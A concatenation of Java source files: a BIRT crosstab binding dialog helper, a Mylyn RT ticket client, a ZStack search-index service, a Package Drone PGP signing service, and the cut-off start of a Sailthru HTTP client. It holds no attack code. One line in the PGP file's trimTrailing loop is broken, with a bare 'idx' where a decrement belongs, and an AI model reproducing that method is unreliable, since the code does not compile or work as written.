new Label( composite, SWT.NONE ).setText( DATA_FIELD );
cmbDataField = new Combo( composite, SWT.BORDER | SWT.READ_ONLY );
cmbDataField.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
WidgetUtil.createGridPlaceholder( composite, 1, false );
cmbDataField.addModifyListener( new ModifyListener( ) {
public void modifyText( ModifyEvent e )
{
validate( );
}
} );
argsComposite = new Composite( composite, SWT.NONE );
GridData gridData = new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL );
gridData.horizontalSpan = 3;
gridData.exclude = true;
argsComposite.setLayoutData( gridData );
GridLayout layout = new GridLayout( );
// layout.horizontalSpacing = layout.verticalSpacing = 0;
layout.marginWidth = layout.marginHeight = 0;
layout.numColumns = 3;
argsComposite.setLayout( layout );
new Label( composite, SWT.NONE ).setText( FILTER_CONDITION );
txtFilter = new Text( composite, SWT.BORDER );
txtFilter.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
createExpressionButton( composite, txtFilter );
Label lblAggOn = new Label( composite, SWT.NONE );
lblAggOn.setText( AGGREGATE_ON );
gridData = new GridData( );
gridData.verticalAlignment = GridData.BEGINNING;
lblAggOn.setLayoutData( gridData );
cmbAggOn = new Combo( composite, SWT.BORDER | SWT.READ_ONLY );
cmbAggOn.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
}
private void createCommonSection( Composite composite )
{
new Label( composite, SWT.NONE ).setText( EXPRESSION );
txtExpression = new Text( composite, SWT.BORDER );
txtExpression.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
createExpressionButton( composite, txtExpression );
txtExpression.addModifyListener( new ModifyListener( ) {
public void modifyText( ModifyEvent e )
{
validate( );
}
} );
}
private void createMessageSection( Composite composite )
{
messageLine = new CLabel( composite, SWT.NONE );
GridData layoutData = new GridData( GridData.FILL_HORIZONTAL );
layoutData.horizontalSpan = 3;
messageLine.setLayoutData( layoutData );
}
protected void handleFunctionSelectEvent( )
{
Control[] children = argsComposite.getChildren( );
for ( int i = 0; i < children.length; i++ )
{
children[i].dispose( );
}
IAggregationInfo function = getFunctionByDisplayName( cmbFunction.getText( ) );
if ( function != null )
{
argsMap.clear( );
List args = getFunctionArgNames( function.getName( ) );
if ( args.size( ) > 0 )
{
( (GridData) argsComposite.getLayoutData( ) ).exclude = false;
( (GridData) argsComposite.getLayoutData( ) ).heightHint = SWT.DEFAULT;
for ( Iterator iterator = args.iterator( ); iterator.hasNext( ); )
{
String argName = (String) iterator.next( );
Label lblArg = new Label( argsComposite, SWT.NONE );
lblArg.setText( argName + ":" );
lblArg.setLayoutData( new GridData( GridData.FILL_HORIZONTAL
| GridData.GRAB_HORIZONTAL ) );
Text txtArg = new Text( argsComposite, SWT.BORDER );
GridData gridData = new GridData( );
gridData.widthHint = txtFilter.getBounds( ).width - 9;
txtArg.setLayoutData( gridData );
createExpressionButton( argsComposite, txtArg );
argsMap.put( argName, txtArg );
}
}
else
{
( (GridData) argsComposite.getLayoutData( ) ).heightHint = 0;
// ( (GridData) argsComposite.getLayoutData( ) ).exclude = true;
}
this.cmbDataField.setEnabled( function.needDataField( ) );
}
else
{
( (GridData) argsComposite.getLayoutData( ) ).heightHint = 0;
// ( (GridData) argsComposite.getLayoutData( ) ).exclude = true;
// new Label( argsComposite, SWT.NONE ).setText( "no args" );
}
argsComposite.layout( );
composite.layout( );
dialog.getShell( ).layout( );
}
private void createExpressionButton( final Composite parent, final Text text )
{
Button expressionButton = new Button( parent, SWT.PUSH );
if ( expressionProvider == null
|| ( !( expressionProvider instanceof CrosstabBindingExpressionProvider ) ) )
{
expressionProvider = new CrosstabBindingExpressionProvider( this.bindingHolder );
}
UIUtil.setExpressionButtonImage( expressionButton );
expressionButton.addSelectionListener( new SelectionAdapter( ) {
public void widgetSelected( SelectionEvent e )
{
ExpressionBuilder expression = new ExpressionBuilder( text.getText( ) );
expression.setExpressionProvier( expressionProvider );
if ( expression.open( ) == Window.OK )
{
if ( expression.getResult( ) != null )
text.setText( expression.getResult( ) );
}
}
} );
}
private List getFunctionArgNames( String function )
{
List argList = new ArrayList( );
try
{
IAggregationInfo aggregationInfo = DataUtil.getAggregationFactory( )
.getAggrInfo( function );
Iterator argumentListIter = aggregationInfo.getParameters( )
.iterator( );
for ( ; argumentListIter.hasNext( ); )
{
IParameterInfo argInfo = (IParameterInfo) argumentListIter.next( );
argList.add( argInfo.getDisplayName( ) );
}
}
catch ( BirtException e )
{
ExceptionHandler.handle( e );
}
return argList;
}
// public void save( ) throws Exception
// if ( txtName.getText( ) != null
// && txtName.getText( ).trim( ).length( ) > 0 )
// if ( isAggregate( ) )
// saveAggregate( );
// else
// if ( getBinding( ) == null )
// for ( int i = 0; i < DATA_TYPE_CHOICES.length; i++ )
// if ( DATA_TYPE_CHOICES[i].getDisplayName( )
// .equals( cmbType.getText( ) ) )
// newBinding.setDataType( DATA_TYPE_CHOICES[i].getName( ) );
// break;
// this.newBinding.setName( txtName.getText( ) );
// this.newBinding.setExpression( txtExpression.getText( ) );
// this.newBinding.setDisplayName( txtDisplayName.getText( ) );
// this.binding = DEUtil.addColumn( getBindingHolder( ),
// newBinding,
// true );
// else
// for ( int i = 0; i < DATA_TYPE_CHOICES.length; i++ )
// if ( DATA_TYPE_CHOICES[i].getDisplayName( )
// .equals( cmbType.getText( ) ) )
// this.binding.setDataType( DATA_TYPE_CHOICES[i].getName( ) );
// break;
// this.binding.setDisplayName( txtDisplayName.getText( ) );
// this.binding.setExpression( txtExpression.getText( ) );
// private void saveAggregate( ) throws Exception
// if ( getBinding( ) == null )
// this.newBinding.setName( txtName.getText( ) );
// this.newBinding.setDisplayName( txtDisplayName.getText( ) );
// for ( int i = 0; i < DATA_TYPE_CHOICES.length; i++ )
// if ( DATA_TYPE_CHOICES[i].getDisplayName( )
// .equals( cmbType.getText( ) ) )
// newBinding.setDataType( DATA_TYPE_CHOICES[i].getName( ) );
// break;
// this.newBinding.setExpression( cmbDataField.getText( ) );
// this.newBinding.setAggregateFunction( getFunctionByDisplayName( cmbFunction.getText( ) ) );
// this.newBinding.setFilterExpression( txtFilter.getText( ) );
// this.newBinding.clearAggregateOnList( );
// String aggStr = cmbAggOn.getText( );
// StringTokenizer token = new StringTokenizer( aggStr, "," );
// while ( token.hasMoreTokens( ) )
// String agg = token.nextToken( );
// if ( !agg.equals( ALL ) )
// newBinding.addAggregateOn( agg );
// this.binding = DEUtil.addColumn( getBindingHolder( ),
// newBinding,
// true );
// for ( Iterator iterator = argsMap.keySet( ).iterator( ); iterator.hasNext( ); )
// String arg = (String) iterator.next( );
// AggregationArgument argHandle = StructureFactory.createAggregationArgument( );
// argHandle.setName( ( getArgumentByDisplayName( this.binding.getAggregateFunction( ),
// arg ) ) );
// argHandle.setValue( ( (Text) argsMap.get( arg ) ).getText( ) );
// this.binding.addArgument( argHandle );
// else
// if ( cmbDataField.getText( ) != null
// && cmbDataField.getText( ).trim( ).length( ) == 0 )
// this.binding = null;
// return;
// if ( !( this.binding.getName( ) != null && this.binding.getName( )
// .equals( txtName.getText( ).trim( ) ) ) )
// this.binding.setName( txtName.getText( ) );
// this.binding.setDisplayName( txtDisplayName.getText( ) );
// for ( int i = 0; i < DATA_TYPE_CHOICES.length; i++ )
// if ( DATA_TYPE_CHOICES[i].getDisplayName( )
// .equals( cmbType.getText( ) ) )
// this.binding.setDataType( DATA_TYPE_CHOICES[i].getName( ) );
// break;
// this.binding.setExpression( cmbDataField.getText( ) );
// this.binding.setAggregateFunction( getFunctionByDisplayName( cmbFunction.getText( ) ) );
// this.binding.setFilterExpression( txtFilter.getText( ) );
// this.binding.clearAggregateOnList( );
// String aggStr = cmbAggOn.getText( );
// StringTokenizer token = new StringTokenizer( aggStr, "," );
// while ( token.hasMoreTokens( ) )
// String agg = token.nextToken( );
// if ( !agg.equals( ALL ) )
// this.binding.addAggregateOn( agg );
// this.binding.clearArgumentList( );
// for ( Iterator iterator = argsMap.keySet( ).iterator( ); iterator.hasNext( ); )
// String arg = (String) iterator.next( );
// AggregationArgument argHandle = StructureFactory.createAggregationArgument( );
// argHandle.setName( getArgumentByDisplayName( this.binding.getAggregateFunction( ),
// arg ) );
// argHandle.setValue( ( (Text) argsMap.get( arg ) ).getText( ) );
// this.binding.addArgument( argHandle );
private String getArgumentByDisplayName( String function, String argument )
{
List functions = DEUtil.getMetaDataDictionary( ).getFunctions( );
for ( Iterator iterator = functions.iterator( ); iterator.hasNext( ); )
{
IMethodInfo method = (IMethodInfo) iterator.next( );
if ( method.getName( ).equals( function ) )
{
Iterator argumentListIter = method.argumentListIterator( );
IArgumentInfoList arguments = (IArgumentInfoList) argumentListIter.next( );
for ( Iterator iter = arguments.argumentsIterator( ); iter.hasNext( ); )
{
IArgumentInfo argInfo = (IArgumentInfo) iter.next( );
if ( argInfo.getDisplayName( ).equals( argument ) )
return argInfo.getName( );
}
}
}
return null;
}
private String getArgumentDisplayNameByName( String function,
String argument )
{
try
{
IAggregationInfo info = DataUtil.getAggregationFactory( )
.getAggrInfo( function );
Iterator arguments = info.getParameters( ).iterator( );
for ( ; arguments.hasNext( ); )
{
IParameterInfo argInfo = (IParameterInfo) arguments.next( );
if ( argInfo.getName( ).equals( argument ) )
return argInfo.getDisplayName( );
}
}
catch ( BirtException e )
{
ExceptionHandler.handle( e );
}
return null;
}
public void validate( )
{
if ( txtName != null
&& ( txtName.getText( ) == null || txtName.getText( )
.trim( )
.equals( "" ) ) ) //$NON-NLS-1$
{
dialog.setCanFinish( false );
}
else if ( txtExpression != null
&& ( txtExpression.getText( ) == null || txtExpression.getText( )
.trim( )
.equals( "" ) ) ) //$NON-NLS-1$
{
dialog.setCanFinish( false );
}
else
{
if ( this.binding == null )//create bindnig, we should check if the binding name already exists.
{
for ( Iterator iterator = this.bindingHolder.getColumnBindings( )
.iterator( ); iterator.hasNext( ); )
{
ComputedColumnHandle computedColumn = (ComputedColumnHandle) iterator.next( );
if ( computedColumn.getName( ).equals( txtName.getText( ) ) )
{
dialog.setCanFinish( false );
this.messageLine.setText( Messages.getFormattedString( "BindingDialogHelper.error.nameduplicate", //$NON-NLS-1$
new Object[]{
txtName.getText( )
} ) );
this.messageLine.setImage( PlatformUI.getWorkbench( )
.getSharedImages( )
.getImage( ISharedImages.IMG_OBJS_ERROR_TSK ) );
return;
}
}
}
dialog.setCanFinish( true );
this.messageLine.setText( "" ); //$NON-NLS-1$
this.messageLine.setImage( null );
if ( txtExpression != null
&& ( txtExpression.getText( ) == null || txtExpression.getText( )
.trim( )
.equals( "" ) ) ) //$NON-NLS-1$
{
dialog.setCanFinish( false );
return;
}
if ( cmbDataField != null
&& ( cmbDataField.getText( ) == null || cmbDataField.getText( )
.trim( )
.equals( "" ) ) && cmbDataField.isEnabled( ) ) //$NON-NLS-1$
{
dialog.setCanFinish( false );
return;
}
dialog.setCanFinish( true );
}
}
public boolean differs( ComputedColumnHandle binding )
{
if ( isAggregate( ) )
{
if ( !strEquals( binding.getName( ), txtName.getText( ) ) )
return true;
if ( !strEquals( binding.getDisplayName( ),
txtDisplayName.getText( ) ) )
return true;
if ( !strEquals( binding.getDataType( ), getDataType( ) ) )
return true;
if ( !strEquals( binding.getExpression( ), cmbDataField.getText( ) ) )
return true;
if ( !strEquals( binding.getAggregateFunction( ),
getFunctionByDisplayName( cmbFunction.getText( ) ).getName( ) ) )
return true;
if ( !strEquals( binding.getFilterExpression( ),
txtFilter.getText( ) ) )
return true;
if ( !strEquals( cmbAggOn.getText( ), binding.getAggregateOn( ) ) )
return true;
for ( Iterator iterator = binding.argumentsIterator( ); iterator.hasNext( ); )
{
AggregationArgumentHandle handle = (AggregationArgumentHandle) iterator.next( );
String argDisplayName = getArgumentDisplayNameByName( binding.getAggregateFunction( ),
handle.getName( ) );
if ( argsMap.containsKey( argDisplayName ) )
{
if ( !strEquals( handle.getValue( ),
( (Text) argsMap.get( argDisplayName ) ).getText( ) ) )
{
return true;
}
}
else
{
return true;
}
}
}
else
{
if ( !strEquals( txtName.getText( ), binding.getName( ) ) )
return true;
if ( !strEquals( txtDisplayName.getText( ),
binding.getDisplayName( ) ) )
return true;
if ( !strEquals( getDataType( ), binding.getDataType( ) ) )
return true;
if ( !strEquals( txtExpression.getText( ), binding.getExpression( ) ) )
return true;
}
return false;
}
private boolean strEquals( String left, String right )
{
if ( left == right )
return true;
if ( left == null )
return "".equals( right );
if ( right == null )
return "".equals( left );
return left.equals( right );
}
private String getDataType( )
{
for ( int i = 0; i < DATA_TYPE_CHOICES.length; i++ )
{
if ( DATA_TYPE_CHOICES[i].getDisplayName( )
.equals( cmbType.getText( ) ) )
{
return DATA_TYPE_CHOICES[i].getName( );
}
}
return "";
}
public ComputedColumnHandle editBinding( ComputedColumnHandle binding )
throws SemanticException
{
if ( isAggregate( ) )
{
binding.setDisplayName( txtDisplayName.getText( ) );
for ( int i = 0; i < DATA_TYPE_CHOICES.length; i++ )
{
if ( DATA_TYPE_CHOICES[i].getDisplayName( )
.equals( cmbType.getText( ) ) )
{
binding.setDataType( DATA_TYPE_CHOICES[i].getName( ) );
break;
}
}
binding.setExpression( cmbDataField.getText( ) );
binding.setAggregateFunction( getFunctionByDisplayName( cmbFunction.getText( ) ).getName( ) );
binding.setFilterExpression( txtFilter.getText( ) );
binding.clearAggregateOnList( );
String aggStr = cmbAggOn.getText( );
StringTokenizer token = new StringTokenizer( aggStr, "," );
while ( token.hasMoreTokens( ) )
{
String agg = token.nextToken( );
if ( !agg.equals( ALL ) )
binding.addAggregateOn( agg );
}
binding.clearArgumentList( );
for ( Iterator iterator = argsMap.keySet( ).iterator( ); iterator.hasNext( ); )
{
String arg = (String) iterator.next( );
AggregationArgument argHandle = StructureFactory.createAggregationArgument( );
argHandle.setName( getArgumentByDisplayName( binding.getAggregateFunction( ),
arg ) );
argHandle.setValue( ( (Text) argsMap.get( arg ) ).getText( ) );
binding.addArgument( argHandle );
}
}
else
{
for ( int i = 0; i < DATA_TYPE_CHOICES.length; i++ )
{
if ( DATA_TYPE_CHOICES[i].getDisplayName( )
.equals( cmbType.getText( ) ) )
{
binding.setDataType( DATA_TYPE_CHOICES[i].getName( ) );
break;
}
}
binding.setDisplayName( txtDisplayName.getText( ) );
binding.setExpression( txtExpression.getText( ) );
}
return binding;
}
public ComputedColumnHandle newBinding( ReportItemHandle bindingHolder,
String name ) throws SemanticException
{
ComputedColumn column = StructureFactory.newComputedColumn( bindingHolder,
name == null ? txtName.getText( ) : name );
ComputedColumnHandle binding = DEUtil.addColumn( bindingHolder,
column,
true );
return editBinding( binding );
}
}
|
package se.fnord.rt.core.internal;
import java.io.IOException;
import java.net.MalformedURLException;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.httpclient.Cookie;
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpException;
import org.apache.commons.httpclient.HttpMethod;
import org.apache.commons.httpclient.HttpState;
import org.apache.commons.httpclient.NameValuePair;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.httpclient.methods.GetMethod;
import org.apache.commons.httpclient.methods.PostMethod;
import org.eclipse.mylyn.commons.net.AuthenticationCredentials;
import org.eclipse.mylyn.commons.net.AuthenticationType;
import org.eclipse.mylyn.tasks.core.TaskRepository;
public class RTClient {
private final boolean anonymousLogin;
private final String userName;
private final String password;
private Cookie session;
private URLFactory urls;
/* RT/3.8.2 401 Credentials required */
private static final Pattern HEAD_PATTERN = Pattern.compile("RT/([0-9.]+) ([0-9]+) (.*)");
public RTClient(TaskRepository repository) {
try {
urls = URLFactory.create(repository.getRepositoryUrl());
} catch (MalformedURLException e) {
throw new RuntimeException(e);
}
final AuthenticationCredentials credentials = repository.getCredentials(AuthenticationType.REPOSITORY);
if (credentials == null) {
anonymousLogin = true;
userName = null;
password = null;
} else {
anonymousLogin = false;
userName = credentials.getUserName();
password = credentials.getPassword();
}
session = null;
}
public RTTicket getTask(String id) throws HttpException, IOException, RTException {
try {
return getTaskInt(id);
} catch (RTException e) {
if (anonymousLogin || e.getCode() != 401)
throw e;
connect();
return getTaskInt(id);
}
}
private RTTicket getTaskInt(String id) throws HttpException, IOException, RTException {
final String result = get(urls.getAPITicketUrl(id));
final String history = get(urls.getAPITicketHistoryUrl(id));
final RTTicket rtTicket = RTObjectFactory.createFullTicket(result, history);
return rtTicket;
}
public RTUser getUser(String id) throws HttpException, IOException, RTException {
try {
return getUserInt(id);
} catch (RTException e) {
if (anonymousLogin || e.getCode() != 401)
throw e;
connect();
return getUserInt(id);
}
}
private RTUser getUserInt(String id) throws HttpException, IOException, RTException {
final String result = get(urls.getAPIUserUrl(id));
return RTObjectFactory.createUser(result);
}
public List<RTTicket> getQuery(String query) throws HttpException, IOException, RTException {
try {
return getQueryInt(query);
} catch (RTException e) {
if (anonymousLogin || e.getCode() != 401)
throw e;
connect();
return getQueryInt(query);
}
}
private List<RTTicket> getQueryInt(String query) throws HttpException, IOException, RTException {
final String url = urls.getAPITicketSearchUrl(query);
final String result = get(url);
return RTObjectFactory.createPartialTickets(result);
}
private void connect() throws HttpException, IOException, RTException {
post(urls.getAuthUrl(),
new NameValuePair("user", userName),
new NameValuePair("pass", password)
);
}
private String post(final String url, final NameValuePair... params) throws HttpException, IOException, RTException {
PostMethod method = new PostMethod(url);
try {
method.getParams().setCookiePolicy(CookiePolicy.RFC_2965);
method.addParameters(params);
final RTResponse response = execute(method);
if (response.getCode() != 200)
throw new RTException(response.getCode(), response.getMessage());
return execute(method).getBody();
}
finally {
method.releaseConnection();
}
}
private String get(String url) throws HttpException, IOException, RTException {
GetMethod method = new GetMethod(url);
try {
method.getParams().setCookiePolicy(CookiePolicy.RFC_2965);
final RTResponse response = execute(method);
if (response.getCode() != 200)
throw new RTException(response.getCode(), response.getMessage());
return execute(method).getBody();
}
finally {
method.releaseConnection();
}
}
private RTResponse execute(HttpMethod method) throws HttpException, IOException {
HttpState httpState = new HttpState();
if (session != null)
httpState.addCookie(session);
HttpClient httpClient = new HttpClient();
httpClient.setState(httpState);
int code = httpClient.executeMethod(method);
if (code != 200)
throw new RuntimeException(String.format("Server returned code %d, expected 200", code));
String body = method.getResponseBodyAsString();
if (body == null)
throw new RuntimeException("Server returned empty body");
Cookie[] cookies = httpClient.getState().getCookies();
for (Cookie cookie : cookies) {
if (cookie.getName().startsWith("RT_SID"))
session = cookie;
}
String[] split = body.split("\\n", 2);
if (split.length > 0) {
final String head = split[0];
final Matcher matcher = HEAD_PATTERN.matcher(head);
if (!matcher.matches())
throw new RuntimeException(String.format("Invalid RT response header (\"%s\").", head));
final String version = matcher.group(1);
final int rtCode = Integer.parseInt(matcher.group(2));
final String message = matcher.group(3);
return new RTResponse(rtCode, message, version, split[1]);
}
throw new RuntimeException("Invalid body");
}
}
|
package org.zstack.search;
import org.hibernate.search.batchindexing.MassIndexerProgressMonitor;
import org.hibernate.search.jpa.FullTextEntityManager;
import org.hibernate.search.jpa.Search;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.transaction.annotation.Transactional;
import org.zstack.core.Platform;
import org.zstack.core.cloudbus.CloudBus;
import org.zstack.core.db.DatabaseFacade;
import org.zstack.core.search.SearchGlobalProperty;
import org.zstack.core.thread.SyncTask;
import org.zstack.core.thread.ThreadFacade;
import org.zstack.header.AbstractService;
import org.zstack.header.message.APIMessage;
import org.zstack.header.message.Message;
import org.zstack.header.search.SearchConstant;
import org.zstack.utils.Utils;
import org.zstack.utils.logging.CLogger;
import org.zstack.utils.stopwatch.StopWatch;
/**
* @ Author : yh.w
* @ Date : Created in 17:20 2020/11/20
*/
public class SearchFacadeImpl extends AbstractService implements SearchFacade {
private static CLogger logger = Utils.getLogger(SearchFacadeImpl.class);
@Autowired
private DatabaseFacade dbf;
@Autowired
private ThreadFacade thdf;
@Autowired
private CloudBus bus;
@Override
public void handleMessage(Message msg) {
if (msg instanceof APIMessage) {
handleApiMessage((APIMessage) msg);
} else {
handleLocalMessage(msg);
}
}
private void handleLocalMessage(Message msg) {
bus.dealWithUnknownMessage(msg);
}
private void handleApiMessage(APIMessage msg) {
if (msg instanceof APIRefreshSearchIndexesMsg) {
handle((APIRefreshSearchIndexesMsg) msg);
} else {
bus.dealWithUnknownMessage(msg);
}
}
private void handle(APIRefreshSearchIndexesMsg msg) {
thdf.syncSubmit(new SyncTask<Void>() {
@Override
public Void call() throws Exception {
APIRefreshSearchIndexesReply reply = new APIRefreshSearchIndexesReply();
refreshSearchIndexes();
bus.reply(msg, reply);
return null;
}
@Override
public String getName() {
return getSyncSignature();
}
@Override
public String getSyncSignature() {
return "refresh-search-indexs";
}
@Override
public int getSyncLevel() {
return 5;
}
});
}
@Transactional(readOnly = true)
private void createSearchIndexes() {
try {
if (!Platform.isVIPNode()) {
logger.info("current managementNode is not vip node, skip refresh search indexes");
return;
}
if (!SearchGlobalProperty.SearchAutoRegister) {
logger.info("search module has been disabled, skip refresh search indexes");
return;
}
StopWatch watch = Utils.getStopWatch();
watch.start();
logger.info("start refresh search indexes");
FullTextEntityManager textEntityManager = getFullTextEntityManager();
//required typesToIndexInParallel * (threadsToLoadObjects + 1) jdbc connections
textEntityManager.createIndexer()
//.typesToIndexInParallel(2), default 1
.batchSizeToLoadObjects(SearchGlobalProperty.massIndexerBatchSizeToLoadObjects)
.threadsToLoadObjects(SearchGlobalProperty.massIndexerThreadsToLoadObjects)
.progressMonitor(new MassIndexerProgressMonitor() {
@Override
public void documentsBuilt(int number) {
}
@Override
public void entitiesLoaded(int size) {
}
@Override
public void addToTotalCount(long count) {
logger.debug(String.format("indexing is going to fetch %d primary keys", count));
}
@Override
public void indexingCompleted() {
logger.debug("indexing completed");
}
@Override
public void documentsAdded(long increment) {
}
})
.idFetchSize(150)
.startAndWait();
watch.stop();
logger.info(String.format("refresh search indexes success, cost %d ms", watch.getLapse()));
} catch (Throwable e) {
logger.warn("a unhandled exception happened", e);
}
}
private void refreshSearchIndexes() {
thdf.syncSubmit(new SyncTask<Void>() {
@Override
public String getName() {
return "refresh-search-indexes";
}
@Override
public Void call() throws Exception {
createSearchIndexes();
return null;
}
@Override
public String getSyncSignature() {
return "refresh-search-indexex";
}
@Override
public int getSyncLevel() {
return 1;
}
});
}
@Override
public String getId() {
return bus.makeLocalServiceId(SearchConstant.SEARCH_FACADE_SERVICE_ID);
}
@Override
public boolean start() {
refreshSearchIndexes();
return true;
}
@Override
public boolean stop() {
return true;
}
@Override
public FullTextEntityManager getFullTextEntityManager() {
return Search.getFullTextEntityManager(dbf.getEntityManager());
}
}
|
package org.eclipse.packagedrone.repo.signing.pgp.internal;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.LineNumberReader;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import org.bouncycastle.bcpg.ArmoredOutputStream;
import org.bouncycastle.bcpg.BCPGOutputStream;
import org.bouncycastle.bcpg.HashAlgorithmTags;
import org.bouncycastle.openpgp.PGPException;
import org.bouncycastle.openpgp.PGPPrivateKey;
import org.bouncycastle.openpgp.PGPPublicKey;
import org.bouncycastle.openpgp.PGPSecretKey;
import org.bouncycastle.openpgp.PGPSignature;
import org.bouncycastle.openpgp.PGPSignatureGenerator;
import org.bouncycastle.openpgp.operator.bc.BcPBESecretKeyDecryptorBuilder;
import org.bouncycastle.openpgp.operator.bc.BcPGPContentSignerBuilder;
import org.bouncycastle.openpgp.operator.bc.BcPGPDigestCalculatorProvider;
import org.eclipse.packagedrone.VersionInformation;
import org.eclipse.packagedrone.repo.signing.SigningService;
import org.eclipse.packagedrone.repo.signing.pgp.SigningStream;
public abstract class AbstractSecretKeySigningService implements SigningService
{
private static final byte[] NL_DATA = "\n".getBytes ( StandardCharsets.UTF_8 );
private final PGPSecretKey secretKey;
private final PGPPrivateKey privateKey;
public AbstractSecretKeySigningService ( final PGPSecretKey secretKey, final String passphrase ) throws PGPException
{
this.secretKey = secretKey;
this.privateKey = this.secretKey.extractPrivateKey ( new BcPBESecretKeyDecryptorBuilder ( new BcPGPDigestCalculatorProvider () ).build ( passphrase.toCharArray () ) );
}
@Override
public void printPublicKey ( final OutputStream out ) throws IOException
{
final ArmoredOutputStream armoredOutput = new ArmoredOutputStream ( out );
armoredOutput.setHeader ( "Version", VersionInformation.VERSIONED_PRODUCT );
final PGPPublicKey pubKey = this.secretKey.getPublicKey ();
pubKey.encode ( new BCPGOutputStream ( armoredOutput ) );
armoredOutput.close ();
}
@Override
public OutputStream signingStream ( final OutputStream stream, final boolean inline )
{
return new SigningStream ( stream, this.privateKey, inline );
}
@Override
public void sign ( final InputStream in, final OutputStream out, final boolean inline ) throws Exception
{
final int digest = HashAlgorithmTags.SHA1;
final PGPSignatureGenerator signatureGenerator = new PGPSignatureGenerator ( new BcPGPContentSignerBuilder ( this.privateKey.getPublicKeyPacket ().getAlgorithm (), digest ) );
if ( inline )
{
signatureGenerator.init ( PGPSignature.CANONICAL_TEXT_DOCUMENT, this.privateKey );
}
else
{
signatureGenerator.init ( PGPSignature.BINARY_DOCUMENT, this.privateKey );
}
final ArmoredOutputStream armoredOutput = new ArmoredOutputStream ( out );
armoredOutput.setHeader ( "Version", VersionInformation.VERSIONED_PRODUCT );
if ( inline )
{
armoredOutput.beginClearText ( digest );
final LineNumberReader lnr = new LineNumberReader ( new InputStreamReader ( in, StandardCharsets.UTF_8 ) );
String line;
while ( ( line = lnr.readLine () ) != null )
{
if ( lnr.getLineNumber () > 1 )
{
signatureGenerator.update ( NL_DATA );
}
final byte[] data = trimTrailing ( line ).getBytes ( StandardCharsets.UTF_8 );
if ( inline )
{
armoredOutput.write ( data );
armoredOutput.write ( NL_DATA );
}
signatureGenerator.update ( data );
}
armoredOutput.endClearText ();
}
else
{
final byte[] buffer = new byte[4096];
int rc;
while ( ( rc = in.read ( buffer ) ) >= 0 )
{
signatureGenerator.update ( buffer, 0, rc );
}
}
final PGPSignature signature = signatureGenerator.generate ();
signature.encode ( new BCPGOutputStream ( armoredOutput ) );
armoredOutput.close ();
}
private static String trimTrailing ( final String line )
{
final char[] content = line.toCharArray ();
int idx = content.length - 1;
loop: while ( idx > 0 )
{
switch ( content[idx] )
{
case ' ':
case '\t':
idx
break;
default:
break loop;
}
}
return String.valueOf ( content, 0, idx + 1 );
}
}
|
package com.sailthru.client.http;
import com.sailthru.client.AbstractSailthruClient.HttpRequestMethod;
import com.sailthru.client.SailthruClient;
import java.io.File;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.nio.charset.Charset;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.logging.Logger;
import org.apache.http.NameValuePair;
import org.apache.http.client.ResponseHandler;
import org.apache.http.client.methods.HttpDelete;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.client.methods.HttpUriRequest;
import org.apache.http.client.utils.URLEncodedUtils;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.entity.mime.HttpMultipartMode;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.conn.tsccm.ThreadSafeClientConnManager;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.params.HttpParams;
import org.apache.http.entity.mime.MultipartEntity;
import org.apache.http.entity.mime.content.ContentBody;
import org.apache.http.entity.mime.content.FileBody;
import org.apache.http.entity.mime.content.StringBody;
/**
*
* @author Prajwal Tuladhar
*/
public class SailthruHttpClient extends DefaultHttpClient {
protected static Logger logger = Logger.getLogger(SailthruHttpClient.class.getName());
public SailthruHttpClient(ThreadSafeClientConnManager connManager,
HttpParams params) {
super(connManager, params);
}
private HttpUriRequest buildRequest(String urlString, HttpRequestMethod method, Map<String, String> queryParams) throws UnsupportedEncodingException {
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
for( Entry<String, String> entry : queryParams.entrySet() ) {
nameValuePairs.add(new BasicNameValuePair(entry.getKey(), entry.getValue()));
}
switch(method) {
case GET:
logger.info("Making HTTP GET Request");
HttpGet httpRequest = new HttpGet(urlString + "?" + extractQueryString(nameValuePairs));
return httpRequest;
case POST:
logger.info("Making HTTP POST Request");
HttpPost httpPost = new HttpPost(urlString);
httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs, SailthruClient.DEFAULT_ENCODING));
return httpPost;
case DELETE:
logger.info("Making HTTP DELETE Request");
HttpDelete httpDelete = new HttpDelete(urlString + "?" + extractQueryString(nameValuePairs));
return httpDelete;
}
return null;
}
private HttpUriRequest buildRequest(String urlString, HttpRequestMethod method, Map<String, String> queryParams, Map<String, File> files) throws UnsupportedEncodingException {
List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>();
for( Entry<String, String> entry : queryParams.entrySet() ) {
nameValuePairs.add(new BasicNameValuePair(entry.getKey(), entry.getValue()));
}
switch(method) {
case GET:
logger.info("Making HTTP GET Request");
HttpGet httpRequest = new HttpGet(urlString + "?" + extractQueryString(nameValuePairs));
return httpRequest;
case POST:
logger.info("Making HTTP POST Request with multipart");
HttpPost httpPost = new HttpPost(urlString);
MultipartEntity multipartEntity = new MultipartEntity(HttpMultipartMode.BROWSER_COMPATIBLE, null, Charset.forName(SailthruClient.DEFAULT_ENCODING));
for( Entry<String, String> entry : queryParams.entrySet() ) {
multipartEntity.addPart(entry.getKey(), new StringBody(entry.getValue()));
}
for ( Entry<String, File> fileEntry : files.entrySet() ) {
ContentBody contentBody = new FileBody(fileEntry.getValue(), "application/octet-stream");
multipartEntity.addPart(fileEntry.getKey(), contentBody);
}
httpPost.setEntity(multipartEntity);
